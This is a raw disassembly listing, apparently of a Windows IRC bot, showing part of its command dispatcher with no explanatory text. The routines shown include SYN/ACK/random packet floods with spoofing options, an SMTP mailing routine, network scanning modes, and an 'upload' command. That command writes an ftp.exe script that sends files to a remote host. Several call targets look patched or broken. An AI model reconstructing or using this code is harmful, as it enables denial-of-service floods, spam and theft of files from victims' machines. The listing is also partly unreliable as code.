		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A6DC

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
